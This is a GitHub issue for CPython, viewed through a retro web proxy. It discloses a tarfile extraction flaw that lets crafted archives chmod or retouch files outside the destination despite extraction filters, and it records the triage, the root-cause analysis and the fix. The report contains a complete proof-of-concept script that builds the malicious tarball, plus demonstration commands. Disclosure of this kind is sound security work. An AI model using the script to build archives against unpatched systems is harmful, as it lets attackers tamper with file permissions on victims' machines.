GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — TarFile.extractall(..., filter='tar') arbitrary file chmod · Issue #127987 · python/cpython

TarFile.extractall(..., filter='tar') arbitrary file chmod #127987

New issue
Copy link
New issue
Copy link
Closed
Closed
TarFile.extractall(..., filter='tar') arbitrary file chmod#127987
Copy link
Labels
3.10 (EOL)end of lifeend of life3.11only security fixesonly security fixes3.12only security fixesonly security fixes3.13only security fixesonly security fixes3.14bugs and security fixesbugs and security fixes3.9 (EOL)end of lifeend of lifestdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or errortype-securityA security issueA security issue

Description

@jwilk
jwilk
opened on Dec 16, 2024
Issue body actions

TarFile.extractall() can be tricked into chmodding arbitrary file (outside of the destination directory) to 0755, despite using filter='tar':

$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F
$ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d)
$ ls -l $target
-rwxr-xr-x 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.uxCZC0Zs3F

filter='data' is vulnerable too, although in that case the damage is limited to updating the file timestamp:

$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp
$ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d)
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.WeCifOsQmp

Here's the source for the defeatpep706 script:

#!/usr/bin/python3

import argparse
import os
import tarfile

ap = arparse = argparse.ArgumentParser()
ap.add_argument('tarpath', metavar='TARBALL')
ap.add_argument('target', metavar='TARGET')
opts = ap.parse_args()
target = os.path.abspath(opts.target)

with tarfile.open(opts.tarpath, 'w') as tar:

    def addmemb(name, **kwargs):
        memb = tarfile.TarInfo(name)
        for k, v in kwargs.items():
            getattr(memb, k)
            setattr(memb, k, v)
        tar.addfile(memb)

    # lrw-r--r-- pwn -> .
    addmemb('pwn', type=tarfile.SYMTYPE, linkname='.')
    # "pwn" is a very innocent symlink.

    # drwxrwxrwx pwn/
    addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777)
    # But now "pwn" is also a directory, so it's scheduled to have its
    # metadata updated later.

    # lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET
    addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target))
    # Oops, "pwn" is not so innocent any more.
    # But technically it's still pointing inside the dest dir,
    # so it doesn't upset the "data" filter.

    # lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/..
    addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98))
    # The newly created symlink symlink points to the dest dir,
    # so it's OK for the "data" filter.
    # But now "pwn" points to the target (outside the dest dir).

Tested with Python 3.12.8.

Linked PRs

  • gh-127987: Ensure that directories are not renamed during tar.TarFile.extractall() #134628

Activity

  1. picnixz
    added
    stdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directory
    on Dec 16, 2024
  2. picnixz
    added this to Zipfile issues 📦and Tarfile issues 🗄️ and removed this from Zipfile issues 📦on Dec 16, 2024
  3. picnixz commented on Dec 17, 2024

    @picnixz
    picnixz
    on Dec 17, 2024
    Member
    More actions

    cc @sethmlarson for deciding whether this is a bug or a security issue

  4. sethmlarson commented on Dec 17, 2024

    @sethmlarson
    sethmlarson
    on Dec 17, 2024
    Contributor
    More actions

    This is a security issue, since it's already public we can handle it publicly. @jwilk in the future you can report issues that have to do with permissions to [email protected] or open a GitHub Security Advisory.

  5. sethmlarson
    added
    type-securityA security issueA security issue
    on Dec 17, 2024
  6. picnixz
    added
    type-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or error
    3.12only security fixesonly security fixes
    3.13only security fixesonly security fixes
    3.14bugs and security fixesbugs and security fixes
    on Dec 17, 2024
  7. picnixz commented on Dec 17, 2024

    @picnixz
    picnixz
    on Dec 17, 2024
    Member
    More actions

    @jwilk Thanks for the report. To update the labels, can you also check whether this happens on 3.9? (or check if the code has been changed? I'm no more on my dev session)

  8. jwilk commented on Dec 20, 2024

    @jwilk
    jwilk
    on Dec 20, 2024
    Author
    More actions

    I can reproduce the bug with Python 3.9.21, 3.10.16 and 3.11.11.

    Reacted by Bénédikt Tran
  9. picnixz
    added
    3.11only security fixesonly security fixes
    3.10 (EOL)end of lifeend of life
    3.9 (EOL)end of lifeend of life
    on Dec 20, 2024
  10. noamcohen97 commented on May 24, 2025

    @noamcohen97
    noamcohen97
    on May 24, 2025
    Contributor
    More actions

    Looking further into this, here is the flow:

    1. TarFile.makedir() uses os.path.isdir() upon failing to execute os.makedir(). It swallows the exception if the path is a directory, which in this case is a symlink to a directory. I am not sure if that is the expected behavior (maybe it should not follow links).
    2. TarFile.makelink() first attempts to unlink, which succeeds since makedir() never created a directory, and it is actually a symlink.
    3. The deferred chmod operation occurs and runs on the symlink.

    I am unsure what the right solution is here. Perhaps we should skip deferred directory updates when the path points to a non-directory.

  11. StanFromIreland commented on Aug 19, 2026

    @StanFromIreland
    StanFromIreland
    on Aug 19, 2026
    Member
    More actions

    This was assigned CVE-2024-12718 and fixed by 3612d8f.

  12. StanFromIreland
    closed this as completedon Aug 19, 2026
  13. github-project-automation
    moved this to Done in Tarfile issues 🗄️on Aug 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    3.10 (EOL)end of lifeend of life3.11only security fixesonly security fixes3.12only security fixesonly security fixes3.13only security fixesonly security fixes3.14bugs and security fixesbugs and security fixes3.9 (EOL)end of lifeend of lifestdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or errortype-securityA security issueA security issue

    Projects

    • Tarfile issues 🗄️
      Status
      Done
      Show more project fields

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

    You are visitor 01402503 — GeezerVison does not store the pages you look up.
    Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.